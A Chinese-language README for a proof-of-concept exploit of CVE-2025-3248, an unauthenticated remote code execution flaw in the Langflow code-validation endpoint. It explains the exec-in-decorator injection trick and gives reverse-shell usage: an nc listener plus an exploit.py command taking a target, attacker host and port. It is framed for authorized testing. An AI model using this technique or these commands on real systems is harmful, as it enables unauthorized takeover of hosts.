针对 CVE-2025-3248 的概念验证漏洞利用程序,该漏洞是 Langflow(一个 AI/LLM 工作流构建平台)中的未认证远程代码执行漏洞。
Langflow 暴露了一个端点 POST /api/v1/validate/code,旨在“验证”由 UI 提交的 Python 代码片段(例如自定义组件代码)。在内部,它使用 ast.parse() / compile() 解析并编译代码,然后报告代码是否有效——无需任何认证。
问题在于:Python 会在解析/编译时评估装饰器表达式,而此时被装饰的函数尚未被调用。如果提交的“待验证代码”包含如下装饰器:
@exec("...恶意代码...")
def test():
pass
那么 exec(...) 调用会在代码被解析的那一刻执行——验证过程根本不需要实际调用 test()。再加上无需认证且没有沙箱隔离,一个未认证的 HTTP 请求就足以在运行 Langflow 的主机上执行任意命令。
nc -lvnp 9001
python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
pip install requests
此代码仅用于教育目的和授权安全测试(实验室、CTF、获得明确书面许可的渗透测试项目)。请勿针对您不拥有或未经明确授权测试的系统运行此代码。作者不对滥用行为负责。